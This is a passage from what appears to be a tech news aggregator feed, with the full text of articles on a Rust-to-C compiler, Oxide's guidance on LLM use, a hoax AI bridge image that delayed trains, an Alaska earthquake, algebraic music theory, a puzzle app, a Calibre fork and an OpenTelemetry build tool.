People keep asking about the name; because the project shares a large amount of infrastructure with Aeneas and Charon , I had to follow the Greek mythology theme. Specifically, the myth of Eurydice resonated with me: I thought I was saved from the hell of generating C code , and was going to go back to the world of the living, but alas, no.

Eurydice: a Rust to C compiler (yes)

Lobsters
jonathan.protzenko.fr
2025-12-07 01:39:25
Comments...
Original Article

Perhaps the greatest surprise of the last two years was, for me, the realization that people not only care about compiling C to Rust (for obvious reasons, such as, ahem, memory safety) – they also care about compiling Rust to C! Wait, what?

I wrote about this briefly a couple years ago, but the level of interest for the project, I must say, took me somewhat by surprise. So let’s talk about compiling Rust to C a little more today.

Barriers to Rust adoption

Rust is making big progress in terms of adoption, and represents a great value proposition, especially for new code. Both my former employer and my new employer , like pretty much everyone else these days, have big projects that are written in pure Rust or can have Rust components. Even Windows kernel drivers can be written in Rust now. Amazing stuff.

However, if your project is, say, an open-source library that gets compiled on a wonderfully diverse set of target architectures, OSes, distributions and toolchains, well, chances are… one of these is not going to support Rust. Think of a crypto library: there will be people out there with an obscure compiler for a weird embedded target, and they really want to compile your library, because they’ve been told not to roll out their own crypto. Or perhaps you have a format library ridden with memory errors and you want to port it to Rust. Or maybe your company has an in-house analysis that only runs on C code. Regardless of the scenario, there will always be that one legacy use-case that prevents you from switching to Rust until it’s 2035, all those LTS versions (looking at you RHEL) are finally retired, and you yourself are too close to retirement to even care anymore.

That is, unless you’re willing to use a Rust to C compiler.

Why?

Having a backwards-compat scenario where Rust can be compiled to C serves several purposes.

  1. It allows for a gradual transition. The codebase can be ported to Rust, and refactored / cleaned up / rewritten to use all the nice Rust things (data types, pattern-matching, polymorphism, memory safety), thus making you and your developers much, much happier. Meanwhile, the C version co-exists so that you don’t alienate your userbase.
  2. It only requires maintaining a single version. The Rust code is authoritative; the C code is derived from it automatically, either on CI, or at least with a CI job that checks that the two are in sync.
  3. It allows for a census of problematic scenarios. By making the Rust version the default (and putting the fallback C behind a --write-us-an-email flag), there is finally a way to enumerate those mythical users who cannot switch to Rust just yet.

If that sounds appealing, meet Eurydice.

Eurydice is a compiler from Rust to C that aims to produce readable C code. Of course, readability is subjective; also, seeing that Rust relies on whole-program monomorphization, the C code is bound to be more verbose than the Rust code. But you can judge for yourself: here’s the result of compiling libcrux to C .

The output of the test suite is under version control, and there are a lot more tests to peruse. See for instance this bit , compared to the Rust original .

The design of Eurydice

Eurydice plugs in directly at the MIR level, using Charon to avoid reimplementing the wheel and paying the price of interacting with the guts of rustc . Our paper on Charon says more about its architecture.

The advantage of plugging in at the MIR level is that i) we do not have to interpret syntactic sugar, which means our translation is more faithful to the Rust semantics, and ii) we have way fewer constructs that need compiling to C. Even then, it’s no easy feat to translate Rust to C.

There is naturally, the need to perform whole-program monomorphization, over types and const-generic arguments; the compilation of pattern matches into tagged unions; recognizing instances of iterators that can be compiled to native C for -loops. Then, there are more subtle things, such as compiling array repeat expressions sensibly – zero-initializers when possible, initializer lists otherwise, unless it generates too much code, in which case for -loops are preferable. And finally, there are all the rules about visibility, static , inline , etc. that are very C-specific and depend on how you want to lay out your C files.

The translation is complicated by the constraint that the generated code ought to be readable: for instance, we compile Rust structs to C structs, including DST s, by relying on flexible array members . We also work hard to avoid using the fully-generic tagged union pattern when possible, instead eliminating the tag when e.g. the Rust enum only has a single case. Additionally, we rely on Charon to reconstruct control-flow, rather than compile the MIR CFG to C code ridden with goto s; again, this is for code quality.

At a low-level, there were many interesting tidbits.

  • Because arrays in Rust are values, we wrap them within C structs to give them value semantics in C, too; concretely, [u32; 8] becomes struct { uint32_t data[8]; } . (A previous version of Eurydice would emit uint32_t * , and rely on various memcpy s to implement value semantics, but this produced a translation that was not type-generic, and there were plenty of finicky corner cases. We revamped the compilation scheme recently.)
  • The notion of lvalue in C means we need to insert more variable declarations than in Rust – for instance, you can’t trivially compile &[0u32; 1] without naming the array.
  • The fact that the evaluation order is so loosely defined in C means that intermediary computations need to be stored in intermediary variables to enforce the evaluation order.
  • Rust relies on whole-program monomorphization; this means that the C code is inevitably going to contains multiple copies of the same types and functions, but for different choices of type and const generic argumnets. This is currently done with a builtin phase in Eurydice (for historical reasons), but in the long run, we want to rely on Charon’s support for monomorphization.
  • There are plenty of peephole optimizations that are required for good code quality, such as recognizing array::from_fn and generating sensible code that initializes the array in-place (instead of relying on the fully-general compilation scheme for closures), or recognizing instances of the Eq trait that deserve dedicated treatment (such as using memcmp for arrays and slices of flat data).

A final design choice is that for now, Eurydice may define more behaviors than Rust – for instance, Rust panics on integer overflow, but Eurydice-compiled code does not. This is because we assume the input code is verified, and therefore has been shown to be free of panics. This design choice can be easily changed, though.

In practice, as soon as you use traits, the C code becomes more voluminous than the Rust code. We rely on a configuration file mechanism to control the placement of monomorphized instances of a given function, rather than put everything in one big C file. This currently requires a lot of manual intervention to give good results on large projects.

Implementing of Eurydice

Eurydice starts by compiling the MIR AST obtained out of Charon into KaRaMeL ’s internal AST. This is ~3000 lines of OCaml code, so that’s already pretty involved. A lot of the work revolves around trait methods and their monomorphization, given Rust’s expressive trait system.

Then, about 30 nanopasses simplify the KaRaMeL AST until it becomes eligible for compilation to C. Of those, a handful were originally written for KaRaMeL and were somewhat reusable; this includes compilation of data types, as well as monomorphization. The rest was written from scratch for Eurydice, and totals about ~5000 lines of OCaml code.

A particularly gnarly phase was eliminating MIR’s variable assignments as much as possible: in MIR, every variable starts out uninitialized at the beginning of the function; then, in lieu of the variable declaration, we have an assignment with the initial value. Naturally, having a variable declaration in the right spot is better for code quality, so an initial phase tries to reconstruct these assignments. That’s a drawback of using MIR, but we still firmly believe that sticking to something that has clear semantics is ultimately better.

Fun fact: because there are so many peephole optimizations, I got tired of maintaining enormous pattern-matches that would try to catch every flavor of Rust iterator that can be compiled to a C for-loop. Instead, a custom OCaml syntax extension allows writing concrete syntax for the internal KaRaMeL language in OCaml patterns. Those magic patterns then get compiled at compile-time to OCaml AST nodes for an actual OCaml pattern that matches the (deeply-embedded) syntax of KaRaMeL’s AST. This relies on a ppx that lexes, parses and compiles the concrete syntax.

Deploying Eurydice-generated code

Eurydice-generated code expects some hand-written glue that contains macros and static inline functions; sometimes, it’s simply more convenient to write a single macro that uses a type, rather than have Eurydice generate N copies of a polymorphic function that gets specialized each time. A typical example is compiling the Eq trait for arrays: it’s nicer to emit Eurydice_array_eq(a1, a2, len, t) , which macro-expands to !(memcmp(a1, a2, len*sizeof(t))) , rather than have N such functions, each containing a for-loop specialized for different values of t .

Eurydice generates code that is either (C11 and C++20-compatible) or (C++-17 compatible, but not C-compatible). The reason for this is that Rust allows enum values (e.g. Foo { bar: baz } ) in any expression position. For simplicity, Eurydice emits a compound initializer (Foo) { .tag = bar, .value = { .case_Foo = { .bar = baz }}} , or a C++20 aggregate that uses designated initializers, relying on a macro (not shown here) to hide the syntax differences between the two. But C++17 does not have designated initializers, so there is an option for Eurydice to emit different code that relies on member pointers to achieve sensibly the same effect .

Limitations of Eurydice

Naturally, there are many limitations to this approach. Here are the main ones that come to mind:

  • we cannot guarantee that the layout of objects will be the same in C as in Rust; conceivably, one could parse the layout information from MIR, then emit compiler-specific alignment directives to keep the two identical, but this is not done currently;
  • the generated code violates strict aliasing , because creating a user-defined DST involves casting one pointer type (a struct containing an array) to another (a struct with a flexible array member instead); I’m not sure what the best fix is, so for now, please compile your code with -fno-strict-aliasing ;
  • the code that Eurydice sees is MIR after applying cfg tweaks; this means that for code that is intended to be multi-platform, some tricks need to be applied, otherwise, Eurydice will only “see” one version of the code (AVX2, or ARM64, or something else)
  • because monorphization is so pervasive, the configuration language needs to express things such as “types that reference __m256i , an AVX2-only type, need to go into a separate file to be compiled with -mavx2 ”; this can get tedious real fast but I’m not sure I know how to do better.

What’s next?

There is ongoing work to integrate Eurydice-generated code for both Microsoft and Google ’s respective crypto libraries.

The community grew recently, with wonderful contributions by GitHub users @ssyram and @lin23299. There are more in the pipeline, and I look forward to seeing the supported subset of Rust grow even more. Next on the horizon is support for dyn traits via vtables, and relying on Charon’s monomorphization to get MIR exactly as the Rust compiler would monomorphize it, intead of relying on a custom procedure in Eurydice.

An ambitious goal is for the whole standard library of Rust to be extractable via Eurydice in 2026. This is non-trivial, but I believe this achievement is within reach. Stay tuned.

PS: Why the name?

People keep asking about the name; because the project shares a large amount of infrastructure with Aeneas and Charon , I had to follow the Greek mythology theme. Specifically, the myth of Eurydice resonated with me: I thought I was saved from the hell of generating C code , and was going to go back to the world of the living, but alas, no.

Using LLMs at Oxide

Hacker News
rfd.shared.oxide.computer
2025-12-07 01:17:40
Comments...
Original Article

LLM use varies widely, and the ramifications of those uses vary accordingly; it’s worth taking apart several of the (many) uses for LLMs.

LLMs as readers

LLMs are superlative at reading comprehension, able to process and meaningfully comprehend documents effectively instantly. This can be extraordinarily powerful for summarizing documents — or of answering more specific questions of a large document like a datasheet or specification. (Ironically, LLMs are especially good at evaluating documents to assess the degree that an LLM assisted their creation!)

While use of LLMs to assist comprehension has little downside, it does come with an important caveat: when uploading a document to a hosted LLM (ChatGPT, Claude, Gemini, etc.), there must be assurance of data privacy — and specifically, assurance that the model will not use the document to train future iterations of itself. Note that this may be opt-out (that is, by default, a model may reserve the right to train on uploaded documents), but can generally be controlled via preferences — albeit occasionally via euphemism. (OpenAI shamelessly calls this checked-by-default setting "Improve the model for everyone", making anyone who doesn’t wish the model to train on their data feel as if they suffer from a kind of reactionary avarice.)

A final cautionary note: using LLMs to assist comprehension should not substitute for actually reading a document where such reading is socially expected. More concretely: while LLMs can be a useful tool to assist in the evaluating of candidate materials per [rfd3] , their use should be restricted to be as a tool, not as a substitute for human eyes (and brain!).

LLMs as editors

LLMs can be excellent editors. Engaging an LLM late in the creative process (that is, with a document already written and broadly polished), allows for LLMs to provide helpful feedback on structure, phrasing, etc. — all without danger of losing one’s own voice. A cautionary note here: LLMs are infamous pleasers — and you may find that the breathless praise from an LLM is in fact more sycophancy than analysis. This becomes more perilous the earlier one uses an LLM in the writing process: the less polish a document already has, the more likely it is that an LLM will steer to something wholly different — at once praising your groundbreaking genius while offering to rewrite it for you.

LLMs as writers

While LLMs are adept at reading and can be terrific at editing, their writing is much more mixed. At best, writing from LLMs is hackneyed and cliché-ridden; at worst, it brims with tells that reveal that the prose is in fact automatically generated.

What’s so bad about this? First, to those who can recognize an LLM’s reveals (an expanding demographic!), it’s just embarrassing — it’s as if the writer is walking around with their intellectual fly open . But there are deeper problems: LLM-generated writing undermines the authenticity of not just one’s writing but of the thinking behind it as well. If the prose is automatically generated, might the ideas be too? The reader can’t be sure — and increasingly, the hallmarks of LLM generation cause readers to turn off (or worse).

Finally, LLM-generated prose undermines a social contract of sorts: absent LLMs, it is presumed that of the reader and the writer, it is the writer that has undertaken the greater intellectual exertion. (That is, it is more work to write than to read!) For the reader, this is important: should they struggle with an idea, they can reasonably assume that the writer themselves understands it — and it is the least a reader can do to labor to make sense of it.

If, however, prose is LLM-generated, this social contract becomes ripped up: a reader cannot assume that the writer understands their ideas because they might not so much have read the product of the LLM that they tasked to write it. If one is lucky, these are LLM hallucinations: obviously wrong and quickly discarded. If one is unlucky, however, it will be a kind of LLM-induced cognitive dissonance: a puzzle in which pieces don’t fit because there is in fact no puzzle at all. This can leave a reader frustrated: why should they spend more time reading prose than the writer spent writing it?

This can be navigated, of course, but it is truly perilous: our writing is an important vessel for building trust — and that trust can be quickly eroded if we are not speaking with our own voice. For us at Oxide, there is a more mechanical reason to be jaundiced about using LLMs to write: because our hiring process very much selects for writers, we know that everyone at Oxide can write — and we have the luxury of demanding of ourselves the kind of writing that we know that we are all capable of.

So our guideline is to generally not use LLMs to write, but this shouldn’t be thought of as an absolute — and it doesn’t mean that an LLM can’t be used as part of the writing process. Just please: consider your responsibility to yourself, to your own ideas — and to the reader.

LLMs as code reviewers

As with reading comprehension and editing, LLMs can make for good code reviewers. But they can also make nonsense suggestions or otherwise miss larger issues. LLMs should be used for review (and can be very helpful when targeted to look for a particular kind of issue), but that review should not be accepted as a human substitute.

LLMs as debuggers

LLMs can be surprisingly helpful debugging problems, but perhaps only because our expectations for them would be so low. While LLMs shouldn’t be relied upon (clearly?) to debug a problem, they can serve as a kind of animatronic rubber duck , helping to inspire the next questions to ask. (And they can be surprising: LLMs have been known to debug I2C issues from the screenshot of a scope capture!) When debugging a vexing problem one has little to lose by using an LLM — but perhaps also little to gain.

LLMs as programmers

LLMs are amazingly good at writing code — so much so that there is borderline mass hysteria about LLMs entirely eliminating software engineering as a craft. As with using an LLM to write prose, there is obvious peril here! Unlike prose, however (which really should be handed in a polished form to an LLM to maximize the LLM’s efficacy), LLMs can be quite effective writing code de novo . This is especially valuable for code that is experimental or auxiliary or otherwise throwaway. The closer code is to the system that we ship, the greater care needs to be shown when using LLMs. Even with something that seems natural for LLM contribution (e.g., writing tests), one should still be careful: it’s easy for LLMs to spiral into nonsense on even simple tasks. Still, they can be extraordinarily useful — and can help to provide an entire spectrum of utility in writing software; they shouldn’t be dismissed out of hand.

Wherever LLM-generated code is used, it becomes the responsibility of the engineer. As part of this process of taking responsibility, self-review becomes essential: LLM-generated code should not be reviewed by others if the responsible engineer has not themselves reviewed it. Moreover, once in the loop of peer review, generation should more or less be removed: if code review comments are addressed by wholesale re-generation, iterative review becomes impossible.

In short, where LLMs are used to generate code, responsibility, rigor, empathy and teamwork must remain top of mind.

Trains cancelled over fake bridge collapse image

Hacker News
www.bbc.com
2025-12-07 00:37:15
Comments...
Original Article

Zoe Toase , North West and

Laura O'Neill , North West

BBC/Network Rail A side-by-side photo showing a damaged bridge on the right. A section of the barriers that run along the top of the bridge appears to have collapsed and a pile of rubble can be seen underneath. A large hole can be seen in front of the bridge. The left is a photo of the bridge taken today showing it is undamaged. BBC/Network Rail

A photo taken by a BBC North West Tonight reporter showed the bridge is undamaged

Trains were halted after a suspected AI-generated picture that seemed to show major damage to a bridge appeared on social media following an earthquake.

The tremor, which struck on Wednesday night , was felt across Lancashire and the southern Lake District.

Network Rail said it was made aware of the image which appeared to show major damage to Carlisle Bridge in Lancaster at 00:30 GMT and stopped rail services across the bridge while safety inspections were carried out.

A BBC journalist ran the image through an AI chatbot which identified key spots that may have been manipulated.

Network Rail A photo showing damage to a bridge. A section of the barriers that run along the top of the bridge appears to have collapsed and a pile of rubble can be seen underneath. A large hole can be seen in front of the bridge Network Rail

Network Rail said it was made aware that the image was on social media

Network Rail said the railway line was fully reopened at around 02:00 GMT and it has urged people to "think about the serious impact it could have" before creating or sharing hoax images.

"The disruption caused by the creation and sharing of hoax images and videos like this creates a completely unnecessary delay to passengers at a cost to the taxpayer," a spokesperson said.

"It adds to the high workload of our frontline teams, who work extremely hard to keep the railway running smoothly," the spokesperson said.

"The safety of rail passengers and staff is our number one priority and we will always take any safety concerns seriously."

The British Transport Police said it was "made aware" of the situation but there was no ongoing investigation into the incident.

Network Rail said 32 services including passenger and freight trains were delayed because of hoax.

A spokesperson for the rail provider said a mix of passenger and freight train would have been impacted.

They said some of them would have been directly stopped or slowed while it checked the lines, but a lot of the trains were delayed as a result of earlier services still being in their path.

The spokesperson said many of them would have been local but because of the length of the West Coast Main Line some trains were delayed as far north as Scotland.

A photo showing the bridge is undamaged

A BBC North West reporter visited the bridge today and confirmed it was undamaged

Railway expert Tony Miles said due to the timing of the incident, very few passengers will have been impacted by the hoax as the services passing through at that time were primarily freight and sleeper trains.

"They generally go slow so as not to disturb the passengers trying to sleep - this means they have a bit of leeway to go faster and make up time if they encounter a delay," he said.

"It's more the fact that Network Rail will have had to mobilise a team to go and check the bridge which could impact their work for days."

He urged people to consider hoaxes like this could have on real people.

"If they actually did delay a train it could have impacted someone who had to get to a medical appointment, or a flight or a funeral.

"It may seem like a game, but anyone who's thinking of doing this should consider how it will impact real people."


How to make a macOS screen saver

Lobsters
wadetregaskis.com
2025-12-07 00:23:35
Comments...

Magnitude-7.0 earthquake hits in remote wilderness along Alaska-Canada border

Hacker News
apnews.com
2025-12-07 00:11:47
Comments...
Original Article

JUNEAU, Alaska (AP) — A powerful, magnitude-7.0 earthquake struck in a remote area near the border between Alaska and the Canadian territory of Yukon on Saturday. There was no tsunami warning, and officials said there were no immediate reports of damage or injury.

The U.S. Geological Survey said it struck about 230 miles (370 kilometers) northwest of Juneau, Alaska, and 155 miles (250 kilometers) west of Whitehorse, Yukon.

In Whitehorse, Royal Canadian Mounted Police Sgt. Calista MacLeod said the detachment received two 911 calls about the earthquake.

“It definitely was felt,” MacLeod said. “There are a lot of people on social media, people felt it.”

Alison Bird, a seismologist with Natural Resources Canada, said the part of Yukon most affected by the temblor is mountainous and has few people.

“Mostly people have reported things falling off shelves and walls,” Bird said. “It doesn’t seem like we’ve seen anything in terms of structural damage.”

The Canadian community nearest to the epicenter is Haines Junction, Bird said, about 80 miles (130 kilometers) away. The Yukon Bureau of Statistics lists its population count for 2022 as 1,018.

The quake was also about 56 miles (91 kilometers) from Yakutat, Alaska, which the USGS said has 662 residents.

It struck at a depth of about 6 miles (10 kilometers) and was followed by multiple smaller aftershocks.

Struggling Towards an Algebraic Theory of Music

Lobsters
reasonablypolymorphic.com
2025-12-07 00:05:16
Comments...
Original Article

For the last few months, I’ve been trying to come up with a nice, denotational basis for what music is. But I’m running out of steam on the project, so I thought I’d write what I’ve figured out, and what I’ve tried but doesn’t work. Hopefully this will inspire someone to come tell me what I’m being stupid about and help get the whole process unstuck.

What Music Is Not

It’s tempting to gesticulate wildly, saying that music is merely a function from time to wave amplitudes, eg something of the form:

μ Music = Time -> Amplitude

While I think it’s fair to say that this is indeed the underlying denotation of sound, this is clearly not the denotation of music. For example, we can transpose a song up a semitone without changing the speed—something that’s very challenging without a great deal of in the waveform representation. And we can play a musical phrase backwards, which is probably impossible in a waveform for any timbral envelope.

Since we have now two examples of “reasonable to want to do” with musical objects, which cannot be expressed in terms of a function Time -> Amplitude , we must conceed that waveforms-over-time cannot be the denotation of music.

What Music Might Be

Music is obviously temporal, so keeping the “function from time” part seems relevant. But a function from time to what? As a first attempt:

data Note = Note Pitch Timbre Volume

μ Music = Time -> Set (Duration, Note)

which, for a given time, returns a set of notes starting at that time, and how long they ought to be played for. An immediate improvement would be to parameterize the above over notes:

μ (Music a) = Time -> Set (Duration, a)

It’s tempting to try to eliminate more of the structure here with our parametricity, but I was unable to do so. In contrapuntal music, we will want to be able to express two notes starting at the same moment, but ending at different times.

One alluring path here could to write monophonic voices, and combine them together for polyphony:

μ (Voice a) = {- something like -} Time -> (Duration, a)
μ (Music a) = Time -> Set (Voice a)

Such an encoding has many unfavorable traits. First, it just feels yucky. Why are there two layers of Time ? Second, now I-as-a-composer need to make a choice of which voice I put each note in, despite the fact that this is merely an encoding quirk. So no, I don’t think this is a viable path forward.

So let’s return to our best contender:

μ (Music a) = Time -> Set (Duration, a)

This definition is trivially a monoid, pointwise over the time structure:

μ (Music a <> Music b) = Music (μ a <> μ b)
μ mempty = Music mempty

If we think about abstract sets here, rather than Data.Set.Set , such an object is clearly a functor. There are many possible applicatives here, but the pointwise zipper seems most compelling to me. Pictorally:

pure a
=
  |----- a ----forever...


liftA2 f
  |---- a ----|-- b --|
  |-- x --|---- y ----|
=
  |- fax -|fay|- fby -|

Such an applicative structure is quite nice! It would allow us to “stamp” a rhythm on top of a pure representation of a melody.

However, the desirability of this instance is a point against μ (Music a) = Time -> Set (Duration, a) , since by Conal Elliott’s typeclass morphism rule , the meaning of the applicative here ought to be the applicative of the meaning. Nevertheless, any other applicative structure would be effecitvely useless, since it would require the notes on one side to begin at the same time as the notes on the other. To sketch:

-- bad instance!
liftA2 f (Music a) (Music b) =
    Music (liftA2 (\(d1, m) (d2, n) -> (d1 <> d2, f m n)) a b)

Good luck finding a musically meaningful pure for such a thing!

Ok, so let’s say we commit to the pointwise zippy instance as our applicative instance. Is there a corresponding monad? Such a thing would substitute notes with more music. My first idea of what to do with such a thing would be to replace chords with texture. For example, we could replace chords with broken chords, or with basslines that target the same notes.

Anyway, the answer is yes, there is such a monad. But it’s musically kinda troublesome. Assume we have the following function:

notes :: Music a -> [(Maybe Interval, a)]

which will convert a Music a into its notes and an optional temporal interval (optional because pure goes on forever.) Then, we can write our bind as:

m >>= f = flip foldMap (notes m) \case
  (Nothing, a) -> f a
  (Just (start, duration), a) ->
    offset start $ _ duration $ f a

where offset changes when a piece of music occurs. We are left with a hole of type:

Duration -> Music a -> Music a

whose semantics sure better be that it forces the given Music to fit in the alotted time. There are two reasonable candidates here:

scaleTo  :: Duration -> Music a -> Music a
truncate :: Duration -> Music a -> Music a

where scaleTo changes the local interpretation of time such that the entire musical argument is played within the given duration, and truncate just takes the first Duration ’s worth of time. Truncate is too obviously unhelpful here, since the >>= continuation doesn’t know how much time it’s been given, and thus most binds will drop almost all of their resulting music.

Therefore we will go with scaleTo . Which satisfies all of the algebraic (monad) laws, but results in some truly mystifying tunes. The problem here is that this is not an operation which respects musical meter. Each subsequent bind results in a correspondingly smaller share of the pie. Thus by using only bind and mconcat, it’s easy to get a bar full of quarter notes, followed by a bar of sixty-fourth notes, followed by two bars full of of 13-tuplets. If you want to get a steady rhythm out of the whole thing, you need a global view on how many binds deep you’re ever going to go, and you need to ensure locally that you only produce a small powers-of-two number of notes, or else you will accidentally introduce tuplets.

It’s a mess. But algebraically it’s fine.

What Music Seems Like It Should Be

The above foray into monads seems tentatively promising for amateur would-be algorithmic composers (read: people like me.) But I have been reading several books on musical composition lately, and my big takeaway from them is just how damn contextual notes are.

So maybe this means we want more of a comonadic interface. One in which you can extend every note, by taking into account all of the notes in its local vicinity. This feels just as right as the monadic approach does, albeit in a completely different way. Being able to give a comonad instance for Music would require us to somehow reckon with having only a single a at any given time. Which appeals to my functional programmer soul, but again, I don’t know how to do it.

But imagine if we did have a comonadic instance. We could perform voice leading by inspecting what the next note was, and by futzing around with our pitch. We could do some sort of reharmonization by shifting notes around according to what else is happening.

But maybe all of this is just folly.

Music as it’s actually practiced doesn’t seem to have much of the functionaly-compositional properties we like—ie, that we can abstract and encapsulate. But music doesn’t appear to be like that! Instead, a happy melody takes a different character when played on major vs minor chords. Adding a dissonant interval can completely reconceptualize other notes.

It feels like a bit of a bummer to end like this, but I don’t really know where to go from here. I’ve worked something like six completely-different approaches over the last few months, and what’s documented here is the most promising bits and pieces. My next thought is that maybe music actually forms a sheaf , which is to say that it is a global solution that respects many local constraints.

All of this research into music has given me much more thoughts about music qua music which I will try to articulate the next time I have an evening to myself. Until then.

Show HN: FuseCells – a handcrafted logic puzzle game with 2,500 levels

Hacker News
apps.apple.com
2025-12-06 23:51:08
Comments...
Original Article

Strategic Thinking Deduction

Free · In‑App Purchases · Designed for iPad

FuseCells blends Sudoku deduction, Minesweeper logic, and Nonogram-style reasoning into a clean cosmic puzzle experience. Every puzzle is handcrafted and fully logical. FuseCells is a clean, no ads, satisfying logic puzzle that blends the deduction of Sudoku, the neighbor logic of Minesweeper, and the pattern reasoning of Nonogram into one fresh cosmic experience. Every puzzle is handcrafted and fully solvable using pure logic, no guessing, no randomness. How It Works: Fill the grid with symbols (Planet, Star, Moon) using number hints. Each hint shows how many neighbors must share the same symbol, in either 4-way or 8-way mode. Green means correct, yellow means possible, red means impossible — follow the logic and the solution emerges naturally. What’s Inside: • Three sectors with unique atmosphere: Solar System, Milky Way, Deep Space • 2500 handcrafted puzzles with progressive difficulty • Crystal rating system that rewards perfect logic • Daily Challenges with bonus rewards • Smart hint system for difficult moments • Beautiful cosmic visuals and a relaxing, minimalist design Why Players Love It: • Pure logical deduction — never guess • No ads in the free version • Works fully offline • Clean, color-coded feedback • Perfect for short sessions or long logic runs • Inspired by classic puzzles but completely original in design Free vs Pro Free: 50 levels per sector, Daily Challenges, all game modes Pro: All 2500 levels, future sectors Start your cosmic logic journey today and see why so many players enjoy this unique puzzle experience. The grid is waiting.

Winter Style Added! • Fresh winter-themed UI design • Bug fixes and improvements • Enhanced performance Stay cozy and enjoy puzzling!

  • Data Not Linked to You

    The following data may be collected but it is not linked to your identity:

    • Purchases
    • Identifiers

Information

  • Seller
    • Igor Cuiumju

  • Size
    • 28.2 MB

  • Category
    • Puzzle

  • Compatibility
    Requires iOS 15.6 or later.
    • iPhone
      Requires iOS 15.6 or later.

    • iPad
      Requires iPadOS 15.6 or later.

    • iPod touch
      Requires iOS 15.6 or later.

    • Mac
      Requires macOS 12.5 or later and a Mac with Apple M1 chip or later.

    • Apple Vision
      Requires visionOS 1.0 or later.

  • Languages
    English and 9 more
    • English, French, German, Italian, Japanese, Korean, Portuguese, Russian, Simplified Chinese, Spanish

  • Age Rating
    4+
    • 4+

  • In-App Purchases
    Yes
    • FuseCells 10 Hints Pack $0.99

    • FuseCells 30 Hints Pack $1.99

    • FuseCells 100 Hints Pack $4.99

    • FuseCells PRO Lifetime $3.99

  • Copyright
    • © Igor Cuiumju

Supports

A fork of Calibre called Clbre, because the AI is stripped out

Hacker News
github.com
2025-12-06 23:50:01
Comments...
Original Article

clbre

clbre is a fork of calibre with the aim of stripping out the AI integration.

I hope to keep it up to date, but for now this is for my own purposes.

All copyrights, trademarks, etc. belong to their owners, and I do not make any claim to them.

calibre

calibre is an e-book manager. It can view, convert, edit and catalog e-books in all of the major e-book formats. It can also talk to e-book reader devices. It can go out to the internet and fetch metadata for your books. It can download newspapers and convert them into e-books for convenient reading. It is cross platform, running on Linux, Windows and macOS.

For more information, see the calibre About page .

Build Status

Screenshots

Screenshots page

Usage

See the User Manual .

Development

Setting up a development environment for calibre .

A tarball of the source code for the current calibre release.

Bugs

Bug reports and feature requests should be made in the calibre bug tracker at Launchpad . GitHub is only used for code hosting and pull requests.

Support calibre

calibre is a result of the efforts of many volunteers from all over the world. If you find it useful, please consider contributing to support its development. Donate to support calibre development .

Building calibre binaries

See Build instructions for instructions on how to build the calibre binaries and installers for all the platforms calibre supports.

calibre package versions in various repositories

Packaging Status

OpenTelemetry Distribution Builder

Hacker News
github.com
2025-12-06 23:41:18
Comments...
Original Article

🚀 OpenTelemetry Distribution Builder

GitHub Release Apache 2.0 License

Build custom OpenTelemetry Collector Distributions from manifest files with a local build utility, Docker, Google Cloud Build, or a GitHub Action.

Quick Start Documentation Examples

🤔 Why OpenTelemetry Distribution Builder?

Built on top of the OpenTelemetry Collector Builder (OCB) , it uses a manifest.yaml to define the components you need, then automates packaging for multiple platforms and manages version releases via GitHub.

While OCB (OpenTelemetry Collector Builder) focuses on building single collector binaries, the OpenTelemetry Distribution Builder provides a complete distribution management solution:

  • 🔨 Builds multi-platform binaries using OCB under the hood
  • 📦 Generates installation packages following OTel community best practices
  • 🚀 Automates versioned releases through GitHub Actions
  • 🔄 Simplifies updates through manifest-based configuration

It handles all the complex aspects of managing your own distribution that have historically made building custom collectors challenging. With the OpenTelemetry Distribution Builder, you can focus on defining your components while the tooling takes care of the rest.

✨ Features

  • 🎯 Custom Component Selection : Build distributions with exactly the components you need
  • 🌐 Multi-Platform Support : Build for multiple architectures (amd64, arm64)
  • 📦 Multiple Package Formats : Generate APK, DEB, RPM, and TAR.GZ packages
  • 🔄 GitHub Actions Integration : Seamless CI/CD integration
  • 🚀 Automated Releases : Streamlined versioning and release process
  • 🔍 Platform-Specific Builds : Optimize for your target environment

🚀 Quick Start

  1. Create a new repository

  2. Add your manifest file ( manifest.yaml ):

    dist:
      name: my-otelcol
      description: My Custom OpenTelemetry Collector Distro
      # ...
    extensions:
      -  # ...
    exporters:
      -  # ...
    processors:
      -  # ...
    receivers:
      -  # ...
    connectors:
      -  # ...
    providers:
      -  # ...
  3. Set up GitHub Actions ( .github/workflows/build.yml ):

name: OpenTelemetry Distribution Build

on:
   push:
     tags:
       - "v*"
   workflow_dispatch:

  permissions:
    contents: write # This is required for creating/modifying releases

  jobs:
    build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # Build the OpenTelemetry distribution using this custom action
      - uses: observiq/otel-distro-builder@v1
        with:
          manifest: "./manifest.yaml"

      # Create a GitHub Release and attach the build artifacts
      # This makes the artifacts available for download from the Releases page
      - name: Create Release
        uses: softprops/action-gh-release@v2
        with:
          files: ${{ github.workspace }}/artifacts/*
  1. Trigger a build :

    git tag v1.0.0 && git push --tags
  2. (Optional) Build with Docker :

    docker pull ghcr.io/observiq/otel-distro-builder:main
    docker run --rm -v $(pwd):/workspace -v $(pwd)/build:/build ghcr.io/observiq/otel-distro-builder:main \
      --manifest /workspace/manifest.yaml

📚 Documentation

To view detailed guides, see the docs directory.

GitHub Action Configuration

Inputs

Input Description Default
manifest Path to manifest file ./manifest.yaml
platforms Target platforms linux/amd64

Outputs

All generated packages and binaries are available in the ${{ github.workspace }}/artifacts/* folder.

Docker Usage

# Pull the latest version
docker pull ghcr.io/observiq/otel-distro-builder:latest

# Pull specific version
docker pull ghcr.io/observiq/otel-distro-builder:v1.0.5

# Run a build
docker run --rm -v $(pwd):/workspace -v $(pwd)/build:/build ghcr.io/observiq/otel-distro-builder:main \
  --manifest /workspace/manifest.yaml \
  # Optional
  --artifacts /workspace/artifacts \
  --goos linux \
  --goarch amd64 \
  --ocb-version 0.121.0 \
  --go-version 1.22.1 \ 
  --supervisor-version 0.122.0

🛠️ Development

Prerequisites

  • Python 3
  • Docker
  • Make

Available Commands

# Show all commands
make help

# Setup development environment
make setup

# Run tests
make test

# Run linting
make lint

Build Scripts

run_cloud_build.sh

Triggers a build using Google Cloud Build:

./scripts/run_cloud_build.sh -m manifest.yaml -p project_id -b artifact_bucket

Options:

  • -m : Path to manifest file (required)
  • -p : Google Cloud project ID
  • -b : Artifact bucket name

run_local_build.sh

This script is used to build a custom OpenTelemetry Collector distribution using a local Docker container:

./scripts/run_local_build.sh -m manifest.yaml [-o output_dir] [-v ocb_version] [-g go_version]

# Optionally, run it with
make build-local # to get the latest version of the otelcol and ocb
# Or
